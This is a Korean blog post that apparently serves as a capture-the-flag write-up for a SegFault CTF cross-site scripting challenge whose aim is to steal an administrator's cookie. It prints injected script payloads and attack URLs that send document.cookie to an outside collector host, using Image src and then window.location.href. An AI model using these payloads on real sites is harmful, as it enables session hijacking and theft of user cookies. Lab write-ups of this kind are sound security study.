상세 컨텐츠

본문 제목

Segfault CTF - (10주 차) XSS 6

컴퓨터/보안 - CTF문제

by 디멘터 2024. 6. 25. 19:19

본문

※ 주의 : 보안 관련 학습은 자유이지만, 학습 내용을 사용한 경우 법적 책임은 행위자에게 있습니다.
(Note: Security-related learning is allowed, but the individual is solely responsible for any legal consequences arising from the use of the acquired knowledge.)


※ CTF - Capture The Flag
※ 문제 푸는 방법이 다양할 수도 있습니다.


SegFault CTF - XSS 6

1. 목표 : 관리자의 Cookie를 탈취하세요!

2. 실행 

  • XSS 취약점 찾기
    [보안 공부] 9주 차 - XSS(크로스 사이트 스크립팅), 보고서 작성에서 로그인 페이지에서 존재하지 않는 ID 입력 시 해당 ID를 출력하면서 스크립트 실행.
  • 스크립트 작성
    <script>var i = new Image(); i.src="https://enmqaeuyiny5.x.pipedream.net/?cookiedata="+document.cookie;</script>

    공격용 URL작성 1
    http://ctf.segfaulthub.com:4343/xss_7/login.php?id=첫번째]'); var i = new Image(); i.src="https://enmqaeuyiny5.x.pipedream.net/?cookiedata="%2Bdocument.cookie;alert('[&</script>&pw=fff

    눈치 빠른 관리자다.

    공격용 URL작성 2
    http://ctf.segfaulthub.com:4343/xss_7/login.php?id=첫번째]'); var i = new Image(); i.src="https://enmqaeuyiny5.x.pipedream.net/?cookiedata="%2Bdocument.cookie;//('[&&pw=fff
    성공한 줄 알았으나, 로그를 살펴보면 요청이 없는 것을 봐서는 접속 자체를 하지 않았다.
    코드에는 문제가 없어보이는데, 아예 요청 기록이 없기에 Image 스크립트가 안먹히는 것일 수도 있어서 다른 함수를 찾아봤다.

    공격용 URL작성 3
    http://ctf.segfaulthub.com:4343/xss_7/login.php?id=첫번째]'); window.location.href='https://enmqaeuyiny5.x.pipedream.net/?cookiedata='%2bdocument.cookie;//('[&&pw=fff

  • 관리자 쿠키 획득
    이제야 쿠키를 내놓았다.

  • 풀긴 풀었는데 플래그와 내가 푼 방법과는 거리가 멀어 보였다..?
    → 나중에(글 쓴 시점에서 다음 수업) 알고보니 현재 구현이 안된 상태라서, 플래그의 내용은 의미 없다고 합니다.

관련글 더보기